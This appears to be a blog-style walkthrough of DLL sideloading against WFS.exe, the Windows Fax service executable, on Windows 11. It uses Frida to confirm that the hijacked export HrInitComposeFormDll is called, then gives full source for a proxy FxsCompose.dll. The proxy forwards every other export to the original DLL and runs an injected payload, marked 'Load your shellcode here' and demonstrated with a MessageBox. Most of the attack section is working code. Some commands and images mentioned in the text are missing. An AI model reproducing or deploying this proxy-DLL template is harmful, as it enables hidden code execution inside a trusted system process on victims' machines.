DLL sideloading is a technique that attackers can use to inject malicious code into a legitimate process by replacing or "sideloading" a dynamic-link library (DLL) that the process is dependent on. This can be a serious security concern because it allows attackers to execute arbitrary code on a victim's machine without the victim's knowledge.
To identify potential DLL sideloading hijacks, there are a few approaches you can take. One option is to use the WFH (Windows Function Hijacking) tool, which is specifically designed to detect DLL function hijacks. WFH is able to identify both DLLMain hijacks and GetProcAddress hijacks.
Alternatively, you can manually detect DLL sideloading hijacks using the Frida tool. To do this, you can use the Frida command line interface to attach to a running executable and then use a JavaScript script called "loadlibrary.js" (comes with WFH tool) to monitor for DLL loads.
To run WFH or Frida to detect DLL sideloading hijacks, you can use the following commands:
When using either of these tools, you should be on the lookout for the following string of text in the output or log file, as it indicates a potential DLL export sideloading attack:
In this blogpost, we'll be hijacking WFS.exe which is present in Windows 11 operating system (if Windows fax service is enabled)
Is that function really called
It is worth noting that the GetProcAddress functions listed in the output above may not always indicate a DLL sideloading attack. This can happen because the function call may have been prepared in advance using GetProcAddress, but the function was never actually called due to the arguments passed or the executable taking a different code path.
To find for sure if the function was called (which would result in DLL sideload) we will use another frida script as below
sure.js
// to make sure the dll is loaded before the function intercept is introducedconstdllName="C:\\WINDOWS\\SYSTEM32\\FxsCompose.dll";Module.load(dllName);//find the address of the functionvar pHrInitComposeFormDll =Module.findExportByName("FxsCompose.dll","HrInitComposeFormDll");//intercept the callInterceptor.attach(pHrInitComposeFormDll, {onEnter:function (args) {send("The function was called") },onLeave:function (retval) { }});
To load this use the following command . Make note of --pause argument. The argument is used to pause the execution of the exe, allowing the script to load properly before exe runs
after running this, you will be in a pause state in frida console . Use the following command in frida console to continue execution of executable
%resume
If you see the string "The function was called" in the output, it means that the function has been called and the DLL sideload will function as expected. This is a confirmation that the DLL sideloading attack was successful.
We see that the string "The function was called", which confirms the presence of DLL sideload.
Making a Sideloadable DLL
This is the point where many people just insert their payload into the DLLMain function and consider the task complete.
Here's how to do it quickly and correctly
Step 1: Create a DLL project
Step 2: You will see a blank project like below
Step 3: Create the pragma comment for proxying the calls to the original DLL. Use the following script to generate them quickly
Line number 3 defines the function name to redirect the call to when HrInitComposeFormDll is called
Add the module definition setting in Visual Studio
Step 8: Make the proxy function
Before we add the proxy function, we need to make a typedef of the original function(HrInitComposeFormDll). This is required to pass the call to the original HrInitComposeFormDll once we load our payload
the typedef is very similar to the function definition we saw in the Ghidra decompilation
Put this line after the pragma comments like we previously added to dllmain.cpp
Now its time to define the ProxyFunction . Again the prototype should be very similar to the original HrInitComposeFormDll function definition
DWORDProxyFunction(void) { //Load your shellcode here.. I'm going to load MessageBox MessageBox(NULL,L"Shellcode Loaded",L"Shellcode Loaded", MB_OK); // Load original DLL and get function pointer HMODULE hModule =LoadLibrary(L"C:\\Windows\\System32\\FxsCompose.dll"); HrInitComposeFormDll_Type Original_HrInitComposeFormDll = (HrInitComposeFormDll_Type)GetProcAddress(hModule, "HrInitComposeFormDll");
// Call original function DWORD result =Original_HrInitComposeFormDll();return result;}
Below is the full dllmain.cpp code and FxsCompose.def
// dllmain.cpp : Defines the entry point for the DLL application.#include"pch.h"#pragmacomment(linker,"/export:DllMain=C:\\WINDOWS\\SYSTEM32\\FxsCompose.DllMain,@15")#pragmacomment(linker,"/export:FaxComposeFreeBuffer=C:\\WINDOWS\\SYSTEM32\\FxsCompose.FaxComposeFreeBuffer,@1")#pragma comment(linker,"/export:HrAddressBookPreTranslateAccelerator=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrAddressBookPreTranslateAccelerator,@2")
#pragmacomment(linker,"/export:HrDeInitAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrDeInitAddressBook,@3")#pragmacomment(linker,"/export:HrDeinitComposeFormDll=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrDeinitComposeFormDll,@4")#pragma comment(linker,"/export:HrFaxComposePreTranslateAccelerator=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrFaxComposePreTranslateAccelerator,@5")
#pragma comment(linker,"/export:HrFreeDraftsListViewInfo=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrFreeDraftsListViewInfo,@6")
#pragmacomment(linker,"/export:HrGetDraftsListViewInfo=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrGetDraftsListViewInfo,@7")#pragmacomment(linker,"/export:HrInitAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInitAddressBook,@8")//#pragma comment(linker,"/export:HrInitComposeFormDll=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInitComposeFormDll,@9")#pragmacomment(linker,"/export:HrInvokeAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInvokeAddressBook,@10")#pragmacomment(linker,"/export:HrNewFaxComposeUI=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewFaxComposeUI,@11")#pragma comment(linker,"/export:HrNewFaxComposeUIFromFile=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewFaxComposeUIFromFile,@12")
#pragmacomment(linker,"/export:HrNewTiffViewUIFromFile=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewTiffViewUIFromFile,@13")#pragmacomment(linker,"/export:HrSelectEmailRecipient=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrSelectEmailRecipient,@14")typedefDWORD(*HrInitComposeFormDll_Type)(void);DWORDProxyFunction(void) { //Load your shellcode here.. I'm going to load MessageBox MessageBox(NULL,L"Shellcode Loaded",L"Shellcode Loaded", MB_OK); // Load original DLL and get function pointer HMODULE hModule =LoadLibrary(L"C:\\Windows\\System32\\FxsCompose.dll"); HrInitComposeFormDll_Type Original_HrInitComposeFormDll = (HrInitComposeFormDll_Type)GetProcAddress(hModule, "HrInitComposeFormDll");
// Call original function DWORD result =Original_HrInitComposeFormDll();return result;}BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){switch (ul_reason_for_call) {case DLL_PROCESS_ATTACH:case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break; }return TRUE;}